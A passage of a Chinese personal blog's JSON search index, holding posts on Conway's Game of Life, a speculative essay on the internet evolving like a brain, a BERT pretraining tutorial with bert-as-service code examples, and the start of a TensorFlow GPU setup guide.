neighbor, 'valid')[0] if neighbor_num == 3: buf[i, j] = 1 elif neighbor_num == 2: buf[i, j] = cells[i, j] else: buf[i, j] = 0 self.cells = buf self.timer += 1 def plot_state(self): \"\"\"画出当前的状态\"\"\" plt.title('Iter :{}'.format(self.timer)) plt.imshow(self.cells) plt.show() def update_and_plot(self, n_iter): \"\"\"更新状态并画图 Parameters ---------- n_iter : 更新的轮数 \"\"\" plt.ion() for _ in range(n_iter): plt.title('Iter :{}'.format(self.timer)) plt.imshow(self.cells) self.update_state() plt.pause(0.2) plt.ioff() if __name__ == '__main__': game = GameOfLife(cells_shape=(60, 60)) game.update_and_plot(200) 这个游戏可以在这里玩~ https://playgameoflife.com/ https://funnyjs.com/jspages/game-of-life.html 规律蝴蝶扇动翅膀，引起大洋彼岸的风暴。 简单的底层逻辑，导致了纷繁复杂的生命现象。 微观遵循简单的逻辑， 而宏观上会表现出纷繁复杂的现象。 如此简单的程序能生成如此复杂的行为，这意味着什么？沃尔夫勒姆认为，这正是我们宇宙的本质；我们的世界就是计算，是一套简单的规则生成的复杂现象。 附：xkcd 的一幅漫画。也许我们的宇宙就是细胞自动机的计算结果呢。 以上漫画译自 https://xkcd.com/505/ ，并以 Creative Commons Attribution-NonCommercial 2.5 License 许可证发布。 最后，漫画里有一格的背景是黑的，一个粒子上有两个（一样的）二进制数指着它。如果你计算一下它俩的十进制..... The Answer to Life，the Universe and Everything is 42. Why is 42 ? 请用 Python 或者其他高级语言执行一下类似如下命令>>> ord('*')42简单地说，42 是*的 ASCII 码，*代表什么？就是Life, the Universe, and Everything啊.","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"探索","slug":"探索","permalink":"https://blog.mhuig.top/tags/%E6%8E%A2%E7%B4%A2/"}]},{"title":"互联网进化！","slug":"pen/互联网进化！","date":"2020-11-05T23:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/9feab2fa/","permalink":"https://blog.mhuig.top/p/9feab2fa/","excerpt":"","text":"简介《互联网进化论》书中提出 \"互联网的未来功能和结构将于人类大脑高度相似, 也将具备互联网虚拟感觉, 虚拟运动, 虚拟中枢, 虚拟运动神经系统\",并绘制了一幅互联网虚拟大脑结构图. 云计算是互联网的核心硬件层和核心软件层的集合, 也是互联网中枢神经系统的萌芽. 大数据代表了互联网的信息层 (数据海洋),是互联网智慧和意识产生的基础. 物联网, 传感器在源源不断的向互联网大数据层汇集数据. 疑问：互联网的进化显示生命进化的方向性达尔文进化论认为生物进化并不是从低级到高级的进化，进化没有预定的方向；生物进化是自然选择的结果。 达尔文进化论动摇了神学的土壤和基础，但互联网的进化却可能引发神秘但有趣的问题 —— 互联网和人脑为什么向同一方向进化？ 互联网的未来结构是人类的大脑结构，互联网的每一个创新都是对数万年前已经存在人脑功能的模仿。科学实验证明大脑中也经拥有 Google 一样的搜索引擎，Facebook 一样的 SNS 系统，IPv4 一样的地址编码系统，思科一样的路由系统。 40 多年来人类从不同的方向在互联网领域进行创新，并没有统一的规划将互联网建造成什么结构，但有一天人类抬起头来观看自己的产品，将发现这个产品与大脑的结构高度相似，而且可以作为揭开大脑之谜的钥匙。这是一个非常奇特的现象。 终极结论“看不见的手” 像幽灵一样盘踞在人类社会的发展过程中，时隐时现，如果说社会学、经济学还只是模糊的看到这只手的影子，那么互联网的进化有可能第一次把 “这只看不见的手” 逼到科学的解剖刀下。如何解剖它，那需要未来更多的研究者思考和实践，相信这个秘密的解开将会给人类带来重大而深远的影响 。 互联网，宇宙和大脑的关系是互联网进化论的终极结论：互联网将宇宙和大脑结合在一起，结构无限逼近人脑结构，空间上无限逼近宇宙边缘，在无穷时间点，宇宙，大脑，和互联网三者将合为一体，进化成为宇宙大脑或智慧宇宙。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"札记","slug":"札记","permalink":"https://blog.mhuig.top/tags/%E6%9C%AD%E8%AE%B0/"}]},{"title":"BERT 预训练模型及其应用案例","slug":"data-mining/BERT预训练模型及其应用案例","date":"2020-11-05T07:47:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/48f700eb/","permalink":"https://blog.mhuig.top/p/48f700eb/","excerpt":"预训练模型最开始是在图像领域提出的，获得了良好的效果，近几年才被广泛应用到自然语言处理各项任务中。 (1) 2003 年 Bengio 提出神经网络语言模型 NNLM，从此统一了 NLP 的特征形式 ——Embedding； (2) 2013 年 Mikolov 提出词向量 Word2vec，延续 NNLM 又引入了大规模预训练（Pretrain）的思路； (3) 2017 年 Vaswani 提出 Transformer 模型，实现用一个模型处理多种 NLP 任务。 (4) 基于 Transformer 架构，2018 年底开始出现一大批预训练语言模型 (3 个预训练代表性模型 BERT [2018]、XLNet [2019] 和 MPNet [2020])，刷新众多 NLP 任务，形成新的里程碑事件。","text":"预训练模型最开始是在图像领域提出的，获得了良好的效果，近几年才被广泛应用到自然语言处理各项任务中。 (1) 2003 年 Bengio 提出神经网络语言模型 NNLM，从此统一了 NLP 的特征形式 ——Embedding； (2) 2013 年 Mikolov 提出词向量 Word2vec，延续 NNLM 又引入了大规模预训练（Pretrain）的思路； (3) 2017 年 Vaswani 提出 Transformer 模型，实现用一个模型处理多种 NLP 任务。 (4) 基于 Transformer 架构，2018 年底开始出现一大批预训练语言模型 (3 个预训练代表性模型 BERT [2018]、XLNet [2019] 和 MPNet [2020])，刷新众多 NLP 任务，形成新的里程碑事件。 (5) GPT (6) ChatGPT/DeepSeek 注：本文写于 2020 年，上面 5 和 6 是笔者在五年后加的, ChatGPT 几乎解决了 NLP 的所有任务。现在的媒体宣传太离谱辣，仿佛一夜之间 GPT 就普及大众了。 预训练模型的应用通常分为两步: 第一步：在计算性能满足的情况下用某个较大的数据集训练出一个较好的模型。 第二步：根据不同的任务，改造预训练模型，用新任务的数据集在预训练模型上进行微调。 预训练模型的好处是训练代价较小，配合下游任务可以实现更快的收敛速度，并且能够有效地提高模型性能，尤其是对一些训练数据比较稀缺的任务。换句话说，预训练方法可以认为是让模型基于一个更好的初始状态进行学习，从而能够达到更好的性能。 要讲自然语言的预训练，得先从图像领域的预训练说起。 图像领域的预训练 设计好网络结构以后，对于图像来说一般是 CNN 的多层叠加网络结构，可以先用某个训练集合比如训练集合 A 或者训练集合 B 对这个网络进行预先训练，在 A 任务上或者 B 任务上学会网络参数，然后存起来以备后用。假设我们面临第三个任务 C，网络结构采取相同的网络结构，在比较浅的几层 CNN 结构，网络参数初始化的时候可以加载 A 任务或者 B 任务学习好的参数，其它 CNN 高层参数仍然随机初始化。 之后我们用 C 任务的训练数据来训练网络，此时有两种做法，一种是浅层加载的参数在训练 C 任务过程中不动，这种方法被称为 “Frozen”; 另外一种是底层网络参数尽管被初始化了，在 C 任务训练过程中仍然随着训练的进程不断改变，这种一般叫 “Fine-Tuning”，顾名思义，就是更好地把参数进行调整使得更适应当前的 C 任务。 对于层级的 CNN 结构来说，不同层级的神经元学习到了不同类型的图像特征，由底向上特征形成层级结构。 如果我们手头是个人脸识别任务，训练好网络后，把每层神经元学习到的特征可视化肉眼看一看每层学到了啥特征，你会看到最底层的神经元学到的是线段等特征，图示的第二个隐层学到的是人脸五官的轮廓，第三层学到的是人脸的轮廓，通过三步形成了特征的层级结构，越是底层的特征越是所有不论什么领域的图像都会具备的比如边角线弧线等底层基础特征，越往上抽取出的特征越与手头任务相关。 正因为此，所以预训练好的网络参数，尤其是底层的网络参数抽取出特征跟具体任务越无关，越具备任务的通用性，所以这是为何一般用底层预训练好的参数初始化新任务网络参数的原因。 而高层特征跟任务关联较大，实际可以不用使用，或者采用 Fine-tuning 用新数据集合清洗掉高层无关的特征抽取器。 一般我们用 ImageNet 来做网络的预训练，主要有两点，一方面 ImageNet 是图像领域里有超多事先标注好训练数据的数据集合，分量足是个很大的优势，量越大训练出的参数越靠谱；另外一方面因为 ImageNet 有 1000 类，类别多，算是通用的图像数据，跟领域没太大关系，所以通用性好。 Word Embedding现有的机器学习方法往往无法直接处理文本数据，因此需要找到合适的方法，将文本数据转换为数值型数据，由此引出了 Word Embedding 的概念，Word Embedding 算法携带了语义信息且维度经过压缩便于运算。 语言模型 为了能够量化地衡量哪个句子更像一句人话，可以设计如上图所示函数，核心函数 P 的思想是根据句子里面前面的一系列前导单词预测后面单词的概率大小。 神经网络语言模型 NNLM 是从语言模型出发 (即计算概率角度)，构建神经网络针对目标函数对模型进行最优化，训练的起点是使用神经网络去搭建语言模型实现词的预测任务，并且在优化过程后模型的副产品就是词向量。 Word2Vec2013 年最火的用语言模型做 Word Embedding 的工具是 Word2Vec，后来又出了 Glove。 Word2Vec 有两种训练方法，一种叫 CBOW，核心思想是从一个句子里面把一个词抠掉，用这个词的上文和下文去预测被抠掉的这个词； 第二种叫做 Skip-gram，和 CBOW 正好反过来，输入某个单词，要求网络预测它的上下文单词。 使用 Word2Vec 或者 Glove，通过做语言模型任务，就可以获得每个单词的 Word Embedding。 Word Embedding 的使用 我们有个 NLP 的下游任务，比如 QA，就是问答问题，所谓问答问题，指的是给定一个问题 X，给定另外一个句子 Y, 要判断句子 Y 是否是问题 X 的正确答案。 句子中每个单词以 Onehot 形式作为输入，然后乘以 Word Embedding 矩阵 Q，就直接取出单词对应的 Word Embedding。 使用 Word Embedding 等价于把 Onehot 层到 embedding 层的网络用预训练好的参数矩阵 Q 初始化。 这跟前面讲的图像领域的低层预训练过程其实是一样的，区别无非 Word Embedding 只能初始化第一层网络参数，再高层的参数就无能为力了。 下游 NLP 任务在使用 Word Embedding 的时候也类似图像有两种做法，一种是 Frozen，就是 Word Embedding 那层网络参数固定不动；另外一种是 Fine-Tuning，就是使用新的训练集合训练，在训练过程中，更新 Word Embedding 这层参数。 Word Embedding 的问题 是多义词问题。多义词是自然语言中经常出现的现象，也是语言灵活性和高效性的一种体现。 多义词对 Word Embedding 来说有什么负面影响？如上图所示，比如多义词 Bank，有两个常用含义，但是 Word Embedding 在对 bank 这个单词进行编码的时候，是区分不开这两个含义的，因为它们尽管上下文环境中出现的单词不同，但是在用语言模型训练的时候，不论什么上下文的句子经过 word2vec，都是预测相同的单词 bank，而同一个单词占的是同一行的参数空间，这导致两种不同的上下文信息都会编码到相同的 word embedding 空间里去。所以 word embedding 无法区分多义词的不同语义，这就是它的一个比较严重的问题。 从 Word Embedding 到 ELMOELMO 是 “Embedding from Language Models” 的简称。在此之前的 Word Embedding 本质上是个静态的方式，所谓静态指的是训练好之后每个单词的表达就固定住了，以后使用的时候，不论新句子上下文单词是什么，这个单词的 Word Embedding 不会跟着上下文场景的变化而改变。 ELMO 的本质思想是：事先用语言模型学好一个单词的 Word Embedding，此时多义词无法区分，实际使用 Word Embedding 的时候，单词已经具备了特定的上下文了，这个时候可以根据上下文单词的语义去调整单词的 Word Embedding 表示，这样经过调整后的 Word Embedding 更能表达在这个上下文中的具体含义，自然也就解决了多义词的问题了。所以 ELMO 本身的思路是根据当前上下文对 Word Embedding 动态调整。 ELMO 采用了典型的两阶段过程，第一个阶段是利用语言模型进行预训练；第二个阶段是在做下游任务时，从预训练网络中提取对应单词的网络各层的 Word Embedding 作为新特征补充到下游任务中。 使用这个网络结构利用大量语料做语言模型任务就能预先训练好这个网络，如果训练好这个网络后，输入一个新句子 ，句子中每个单词都能得到对应的三个 Embedding: 最底层是单词的 Word Embedding，往上走是第一层双向 LSTM 中对应单词位置的 Embedding，这层编码单词的句法信息更多一些；再往上走是第二层 LSTM 中对应单词位置的 Embedding，这层编码单词的语义信息更多一些。也就是说，ELMO 的预训练过程不仅仅学会单词的 Word Embedding，还学会了一个双层双向的 LSTM 网络结构，而这两者后面都有用。 上图展示了下游任务的使用过程，比如我们的下游任务仍然是 QA 问题，此时对于问句 X，我们可以先将句子 X 作为预训练好的 ELMO 网络的输入，这样句子 X 中每个单词在 ELMO 网络中都能获得对应的三个 Embedding，之后给予这三个 Embedding 中的每一个 Embedding 一个权重 a，这个权重可以学习得来，根据各自权重累加求和，将三个 Embedding 整合成一个。然后将整合后的这个 Embedding 作为 X 句在自己任务的那个网络结构中对应单词的输入，以此作为补充的新特征给下游任务使用。对于上图所示下游任务 QA 中的回答句子 Y 来说也是如此处理。因为 ELMO 给下游提供的是每个单词的特征形式，所以这一类预训练的方法被称为 “Feature-based Pre-Training”。 从 Word Embedding 到 GPT GPT 是 “Generative Pre-Training” 的简称，从名字看其含义是指的生成式的预训练。GPT 也采用两阶段过程，第一个阶段是利用语言模型进行预训练，第二阶段通过 Fine-tuning 的模式解决下游任务。 TransformerTransformer 是个叠加的 “自注意力机制（Self Attention）” 构成的深度网络，是目前 NLP 里最强的特征提取器。 Transformer 是一种基于 encoder-decoder 结构的模型. 在机器翻译任务上的表现超过了 RNN，CNN，只用 encoder-decoder 和 attention 机制就能达到很好的效果，最大的优点是可以高效地并行化。 自注意力机制模型人类视觉通过快速扫描全局图像，获得需要重点关注的目标区域，也就是一般所说的注意力焦点，而后对这一区域投入更多注意力资源，以获取更多所需要关注目标的细节信息，而抑制其他无用信息。 这是人类利用有限的注意力资源从大量信息中快速筛选出高价值信息的手段. 深度学习中的注意力机制从本质上讲和人类的选择性视觉注意力机制类似，核心目标也是从众多信息中选择出对当前任务目标更关键的信息。 Attention 在同一个英语句子内单词间产生的联系。 Self Attention 可以捕获同一个句子中单词之间的一些句法特征（比如图展示的有一定距离的短语结构）或者语义特征（比如图展示的 its 的指代对象 Law）。 很明显，引入 Self Attention 后会更容易捕获句子中长距离的相互依赖的特征，因为如果是 RNN 或者 LSTM，需要依次序序列计算，对于远距离的相互依赖的特征，要经过若干时间步步骤的信息累积才能将两者联系起来，而距离越远，有效捕获的可能性越小。 SelfAttention 在计算过程中会直接将句子中任意两个单词的联系通过一个计算步骤直接联系起来，所以远距离依赖特征之间的距离被极大缩短，有利于有效地利用这些特征。除此外，SelfAttention 对于增加计算的并行性也有直接帮助作用。这是为何 Self Attention 逐渐被广泛使用的主要原因。 GPT 如何使用 把任务的网络结构改造成和 GPT 的网络结构是一样的。然后，在做下游任务的时候，利用第一步预训练好的参数初始化 GPT 的网络结构，对网络参数进行 Fine-tuning，使得这个网络更适合解决手头的问题。 从 GPT 和 ELMO 及 word2Vec 到 Bert Bert 采用和 GPT 完全相同的两阶段模型，首先是语言模型预训练；其次是使用 Fine-Tuning 模式解决下游任务。和 GPT 的最主要不同在于在预训练阶段采用了类似 ELMO 的双向语言模型，当然另外一点是语言模型的数据规模要比 GPT 大。 BERT 本质上是一个自编码（Auto Encoder）语言模型，为了能见多识广，BERT 使用 3 亿多词语训练，采用 12 层双向 Transformer 架构。注意，BERT 只使用了 Transformer 的编码器部分，可以理解为 BERT 旨在学习庞大文本的内部语义信息。 具体训练目标之一，是被称为掩码语言模型的 MLM。即输入一句话，给其中 15% 的字打上 “mask” 标记，经过 Embedding 输入和 12 层 Transformer 深度理解，来预测 “mask” 标记的地方原本是哪个字。 input: 欲把西[mask]比西子，淡[mask]浓抹总相宜output: 欲把西[湖]比西子，淡[妆]浓抹总相宜 例如我们输入 “欲把西 [mask] 比西子，淡 [mask] 浓抹总相宜” 给 BERT，它需要根据没有被 “mask” 的上下文，预测出掩盖的地方是 “湖” 和 “妆”。 MLM 任务的灵感来自于人类做完形填空。挖去文章中的某些片段，需要通过上下文理解来猜测这些被掩盖位置原先的内容。 训练目标之二，是预测输入的两句话之间是否为上下文（NSP）的二分类问题。继续输入 “ 欲把西 [湖] 比西子，淡 [妆] 浓抹总相宜”，BERT 将预测这两句话的组合是否合理（这个例子是 “yes”）。（随后的研究者对预训练模型探索中证明，NSP 任务过于简单，对语言模型的训练作用并不是很大） 通过这两个任务和大规模语料训练，BERT 语言模型可以很好学习到文本之间的蕴含的关系。 NLP 的四大任务 绝大部分 NLP 问题可以归入上图所示的四类任务中： 一类是序列标注，这是最典型的 NLP 任务，比如中文分词，词性标注，命名实体识别，语义角色标注等都可以归入这一类问题，它的特点是句子中每个单词要求模型根据上下文都要给出一个分类类别。 第二类是分类任务，比如我们常见的文本分类，情感计算等都可以归入这一类。它的特点是不管文章有多长，总体给出一个分类类别即可。 第三类任务是句子关系判断，比如 Entailment，QA，语义改写，自然语言推理等任务都是这个模式，它的特点是给定两个句子，模型判断出两个句子是否具备某种语义关系； 第四类是生成式任务，比如机器翻译，文本摘要，写诗造句，看图说话等都属于这一类。它的特点是输入文本内容后，需要自主生成另外一段文字。 根据任务选择不同的预训练数据初始化 encoder 和 decoder 即可。这是相当直观的一种改造方法。当然，也可以更简单一点，比如直接在单个 Transformer 结构上加装隐层产生输出也是可以的。不论如何，从这里可以看出，NLP 四大类任务都可以比较方便地改造成 Bert 能够接受的方式。这其实是 Bert 的非常大的优点，这意味着它几乎可以做任何 NLP 的下游任务，具备普适性，这是很强的。 BERT 的应用案例下载 bert 预训练模型Google - BERT 源码 https://github.com/google-research/bert 下载预训练模型。 我这里选择中文的 BERT，下载解压后的目录如下： 安装 bert-as-service顾名思义，将 BERT 模型直接封装成一个服务，堪称上手最快的 BERT 工具。作者是肖涵博士。 使用 pip 安装： pip install bert-serving-server # serverpip install bert-serving-client # client, independent of `bert-serving-server 开启 BERT service bert-serving-start -model_dir E:\\nlp\\chinese_L-12_H-768_A-12 使用客户端获取句子编码 案例一 查找最相近的句子根据 bert 获取句子向量，并计算出句子之间的余弦相似度，找出最相似的句子。 # 导入bert客户端from bert_serving.client import BertClientimport numpy as npclass SimilarModel: def __init__(self): self.bert_client = BertClient() def close_bert(self): self.bert_client .close() def get_sentence_vec(self,sentence): ''' 根据bert获取句子向量 :param sentence: :return: ''' return self.bert_client .encode([sentence])[0] def cos_similar(self,sen_a_vec, sen_b_vec): ''' 计算两个句子的余弦相似度 :param sen_a_vec: :param sen_b_vec: :return: ''' vector_a = np.mat(sen_a_vec) vector_b = np.mat(sen_b_vec) num = float(vector_a * vector_b.T) denom = np.linalg.norm(vector_a) * np.linalg.norm(vector_b) cos = num / denom return cosif __name__=='__main__': # 从候选集condinates 中选出与sentence_a 最相近的句子 condinates = ['为什么天空是蔚蓝色的','太空为什么是黑的？','天空怎么是蓝色的','明天去爬山如何'] sentence_a = '天空为什么是蓝色的' bert_client = SimilarModel() max_cos_similar = 0 most_similar_sentence = '' for sentence_b in condinates: sentence_a_vec = bert_client.get_sentence_vec(sentence_a) sentence_b_vec = bert_client.get_sentence_vec(sentence_b) cos_similar = bert_client.cos_similar(sentence_a_vec,sentence_b_vec) if cos_similar > max_cos_similar: max_cos_similar = cos_similar most_similar_sentence = sentence_b print('最相似的句子：',most_similar_sentence) bert_client .close_bert() # 为什么天空是蔚蓝色的 案例二 简单模糊搜索将问题编码为向量： from bert_serving.client import BertClientdoc_vecs = bc.encode(questions) 最后，我们准备接收新查询并针对现有问题执行简单的 “模糊” 搜索。为此，每次出现新查询时，我们都将其编码为向量，并使用来计算其点积 doc_vecs。将结果递减排序；并返回前 k 个类似的问题，如下所示： while True: query = input('your question: ') query_vec = bc.encode([query])[0] # compute normalized dot product as score score = np.sum(query_vec * doc_vecs, axis=1) / np.linalg.norm(doc_vecs, axis=1) topk_idx = np.argsort(score)[::-1][:topk] print('top %d questions similar to \"%s\"' % (topk, query)) for idx in topk_idx: print('> %s\\t%s' % ('%.1f' % score[idx], questions[idx])) 现在运行代码并键入查询，查看此搜索引擎如何处理模糊匹配： 案例三 法条推荐介绍根据刑事法律文书中的案情描述和事实部分，预测本案涉及的相关法条； 数据说明所使用的数据集是来自 “中国裁判文书网” 公开的刑事法律文书，其中每份数据由法律文书中的案情描述和事实部分组成，同时也包括每个案件所涉及的法条、被告人被判的罪名和刑期长短等要素。 数据集共包括 268 万刑法法律文书，共涉及 202 条罪名，183 条法条，刑期长短包括 0-25 年、无期、死刑。 数据利用 json 格式储存，每一行为一条数据，每条数据均为一个字典。 fact: 事实描述 meta: 标注信息，标注信息中包括: criminals: 被告 (数据中均只含一个被告) punish_of_money: 罚款 (单位：元) accusation: 罪名 relevant_articles: 相关法条 term_of_imprisonment: 刑期 刑期格式 (单位：月) death_penalty: 是否死刑 life_imprisonment: 是否无期 imprisonment: 有期徒刑刑期 这里是简单的一条数据展示: { \"fact\": \"2015年11月5日上午，被告人胡某在平湖市乍浦镇的嘉兴市多凌金牛制衣有限公司车间内，与被害人孙某因工作琐事发生口角，后被告人胡某用木制坐垫打伤被害人孙某左腹部。经平湖公安司法鉴定中心鉴定：孙某的左腹部损伤已达重伤二级。\", \"meta\": { \"relevant_articles\": [234], \"accusation\": [\"故意伤害\"], \"criminals\": [\"胡某\"], \"term_of_imprisonment\": { \"death_penalty\": false, \"imprisonment\": 12, \"life_imprisonment\": false } }} 实现流程进入 OpenCLaP 下载刑事文书 BERT，并运行 bert-as-service 服务。 创建一个连接到 BertServer 的 BertClientfrom bert_serving.client import ConcurrentBertClientbc = ConcurrentBertClient() 获取编码向量和标签def get_encodes(x): # x 是 batch_size 大小的行 ，每行都是一个json对象 samples = [json.loads(l) for l in x] # 一个 batch_size 大小的连续样本 text = [s['fact'][:50] + s['fact'][-50:] for s in samples] # 获取案情描述和事实部分文字 features = bc.encode(text) # 使用bert将字符串列表编码为向量列表 # 随机选择一个标签 labels = [[str(random.choice(s['meta']['relevant_articles']))] for s in samples] return features, labels 构建 TensorFlow DNN 模型的分类器estimator = DNNClassifier( hidden_units=[512], # 每层隐藏单元的 Iterable 数.所有层都完全连接. feature_columns=[tf.feature_column.numeric_column('feature', shape=(768,))], # 包含模型使用的所有特征列的iterable.集合中的所有项目都应该是从 _FeatureColumn 派生的类的实例. n_classes=len(laws), # 标签类的数量.默认为 2,即二进制分类,必须大于1. config=run_config, # RunConfig 对象配置运行时设置 label_vocabulary=laws_str, # 字符串列表,表示可能的标签值.如果给定,标签必须是字符串类型,并且 label_vocabulary 具有任何值.如果没有给出,这意味着标签已经被编码为整数或者在[0,1]内浮动, n_classes=2 ；并且被编码为{0,1,...,n_classes-1}中的整数值,n_classes> 2.如果没有提供词汇表并且标签是字符串,也会出现错误. optimizer=tf.train.AdamOptimizer(),# 优化函数 dropout=0.1 # 当不是 None 时,我们将放弃给定坐标的概率. ) 训练和评估# 输入函数input_fn = lambda fp: (tf.data.TextLineDataset(fp) # TextLineDataset接口提供了一种方法从数据文件中读取。只需要提供文件名（1个或者多个）。这个接口会自动构造一个dataset，类中保存的元素：文中一行，就是一个元素，是string类型的tenser。 # map将分别对Dataset的每个元素执行一个函数，而apply将立即对整个Dataset执行一个函数 .apply(tf.contrib.data.shuffle_and_repeat(buffer_size=10000)) # repeat重复和shuffle重排 tf.data.Dataset.repeat 转换会将输入数据重复有限（或无限）次；每次数据重复通常称为一个周期。tf.data.Dataset.shuffle 转换会随机化数据集样本的顺序。 # 将此数据集的连续元素合并为批。 .batch(batch_size) # tf.py_func()接收的是tensor，然后将其转化为numpy array送入我们自定义的get_encodes函数，最后再将get_encodes函数输出的numpy array转化为tensor返回 .map(lambda x: tf.py_func(get_encodes, [x], [tf.float32, tf.string], name='bert_client'), num_parallel_calls=num_parallel_calls) .map(lambda x, y: ({'feature': x}, y)) .prefetch(20)) # 创建一个从该数据集中预提取元素的Dataset 大多数数据集输入管道应以调用结束prefetch。这允许在处理当前元素时准备以后的元素。这通常会提高延迟和吞吐量，但以使用额外的内存存储预取元素为代价。# TrainSpec确定训练的输入数据以及持续时间train_spec = TrainSpec(input_fn=lambda: input_fn(train_fp))# EvalSpec结合了训练模型的计算和输出的详细信息.计算由计算指标组成,用以判断训练模型的性能.输出将训练好的模型写入外部存储.eval_spec = EvalSpec(input_fn=lambda: input_fn(eval_fp), throttle_secs=0) # 第一次评估发生在throttle_secs秒后# 训练和评估train_and_evaluate(estimator, train_spec, eval_spec) 运行 tensorboard 可视化训练过程tensorboard --logdir=law-model 案例四 互联网新闻情感分析介绍对新闻情绪进行分类，0 代表正面情绪、1 代表中性情绪、2 代表负面情绪。 数据说明 Field Type Description id String 新闻 ID News ID text String 新闻正文内容 Content of news text label String 新闻情感标签 Emotional label in news 实现流程加载数据集def load_dataset(filepath): dataset_list = [] f = open(filepath, 'r', encoding='utf-8') r = csv.reader(f) for item in r: if r.line_num == 1: continue dataset_list.append(item) # 空元素补0 for item in dataset_list: if item[1].strip() == '': item[1] = '0' return dataset_list 网络类，全连接层class Net(nn.Module): # in_dim=768, out_dim=3 def __init__(self, in_dim, out_dim): super(Net, self).__init__() self.linear1 = nn.Linear(in_dim, 500) self.linear2 = nn.Linear(500, 400) self.linear3 = nn.Linear(400, 300) self.linear4 = nn.Linear(300, 200) self.linear5 = nn.Linear(200, out_dim) def forward(self, x): x = self.linear1(x) x = self.linear2(x) x = self.linear3(x) x = self.linear4(x) x = self.linear5(x) return x 计算每个 batch 的准确率def batch_accuracy(pre, label): pre = pre.argmax(dim=1) correct = torch.eq(pre, label).sum().float().item() accuracy = correct / float(len(label)) return accuracy 训练for epoch in range(EPOCHS): step = -1 for text, label in train_loader: # tuple转list text = list(text) label = list(label) label = list(map(int, label)) # 使用中文bert，生成句向量 sen_vec = bertclient.encode(text) sen_vec = torch.tensor(sen_vec) label = torch.LongTensor(label) label = label.cuda() # 输入到网络中，反向传播 pre = net(sen_vec).cuda() loss = criterion(pre, label) optimizer.zero_grad() loss.backward() optimizer.step() # 更新loss曲线，并计算准确率 step = step + 1 flag = flag + 1 if step % 100 == 0: acc = batch_accuracy(pre, label) print('epoch:{} | batch:{} | acc:{} | loss:{}'.format(epoch, step, acc, loss.item())) 测试net.load_state_dict(torch.load('net.pt'))test_result = []for item in test_dataset: sen_vec = bertclient.encode([item[1]]) sen_vec = torch.tensor(sen_vec) with torch.no_grad(): pre = net(sen_vec).cuda() pre = pre.argmax(dim=1) pre = pre.item() test_result.append([item[0], pre]) # 写入csv文件 df = pd.DataFrame(test_result) df.to_csv('test_result.csv',index=False, header=['id', 'label']) 训练可视化 控制台输出 参考文献从 Word Embedding 到 Bert 模型 — 自然语言处理中的预训练技术发展史 Transformer 深度学习中的注意力模型 谷歌的 bert 肖涵博士的 bert-as-service Serving-Google-BERT-in-Production-using-Tensorflow-and-ZeroMQ CAIL2018 数据集 刑事文书 BERT: tensorboard 使用详解 Visdom 可视化工具 互联网新闻情感分析","categories":[{"name":"自然语言处理","slug":"自然语言处理","permalink":"https://blog.mhuig.top/categories/%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86/"}],"tags":[{"name":"NLP","slug":"NLP","permalink":"https://blog.mhuig.top/tags/NLP/"}]},{"title":"尝试使用 GPU 加速计算","slug":"data-mining/尝试使用GPU加速计算","date":"2020-10-11T01:11:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/56213be8/","permalink":"https://blog.mhuig.top/p/56213be8/","excerpt":"","text":"大规模训练，gpu 和 cpu 速度差别很大。 概述GPU CPU (Central Processing Unit) 即中央处理器。 GPU (Graphics Processing Unit) 即图形处理器。 当程序员为 CPU 编写程序时，他们倾向于利用复杂的逻辑结构优化算法从而减少计算任务的运行时间，即 Latency。当程序员为 GPU 编写程序时，则利用其处理海量数据的优势，通过提高总的数据吞吐量（Throughput）来掩盖 Lantency。 其中绿色的是计算单元，橙红色的是存储单元，橙黄色的是控制单元。 首先你需要硬件支持，一块能够支持 GPU 加速计算的显卡，这里以 NVIDIA 的 GPU 为例。 CUDACUDA（Compute Unified Device Architecture），是显卡厂商 NVIDIA 推出的运算平台。 CUDA™是一种由 NVIDIA 推出的通用并行计算架构，该架构使 GPU 能够解决复杂的计算问题。 CUDA 提供了一种可扩展的编程模型，使得已经写好的 CUDA 代码可以在任意数量核心的 GPU 上运行。只有运行时，系统才知道物理处理器的数量。 CUDNNNVIDIA cuDNN 是用于深度神经网络的 GPU 加速库。它强调性能、易用性和低内存开销。NVIDIA cuDNN 可以集成到更高级别的机器学习框架中，如加州大学伯克利分校的流行 CAFFE 软件。简单的，插入式设计可以让开发人员专注于设计和实现神经网络模型，而不是调整性能，同时还可以在 GPU 上实现高性能现代并行计算。 支持 GPU 的计算框架Tensorflow-GPU安装教程参考 https://tensorflow.google.cn/install 需要注意的是 严格对应 tensorflow_gpu、Python、 编译器、 cuDNN、CUDA 的版本关系。 相关对应关系 windows 平台可参考: Tensorflow 文档 显卡驱动与 Cuda 版本之间的对应关系 cuda 与 cudnn 版本之间的对应关系 打开 NVIDIA 控制面板进入系统信息，可查看当前支持的 CUDA 驱动版本。 这里的 CUDA 驱动版本是指你只可以安装该版本及以下版本的 CUDA。 根据实际情况，笔者计划使用的环境是： tensorflow_gpu-1.14.0 python 3.7 MSVC 2017 cuDNN 7.4.2.24 CUDA 10.0.130 安装 CUDA进入cuda-toolkit-archive 选择需要的 CUDA Toolkit 版本下载安装即可。 笔者选择 network 安装方式。注意第一个路径是选择临时解压路径。选择自定义安装，取消安装不需要的应用，如 NVIDIA GeForce Experience。 在 cmd 中执行： nvcc -V 需要注意配置相关环境变量。 安装 CUDNN进入cudnn-archive 选择需要的 CUDA Toolkit 版本下载解压即可。 笔者将 CUDA 默认安装在C:\\Program Files\\NVIDIA GPU Computing Toolkit\\CUDA\\v10.0 将 CUDNN 解压到C:\\Program Files\\NVIDIA GPU Computing Toolkit\\CUDA\\v10.0中即可。 或者配置单独的环境变量。 安装 Tensorflow-GPU如果之前安装过 cpu 版本的 Tensorflow 需要进行卸载. 若在虚拟环境中使用 conda 安装，conda 会自动安装相关的 cuda 和 cudnn 依赖。 conda install tensorflow-gpu 下面给出一段 GPU 测试程序： import timeimport tensorflow as tfbegin = time.time()with tf.device('/gpu:0'): rand_t = tf.random_uniform([50,50],0,10,dtype=tf.float32,seed=0) a = tf.Variable(rand_t) b = 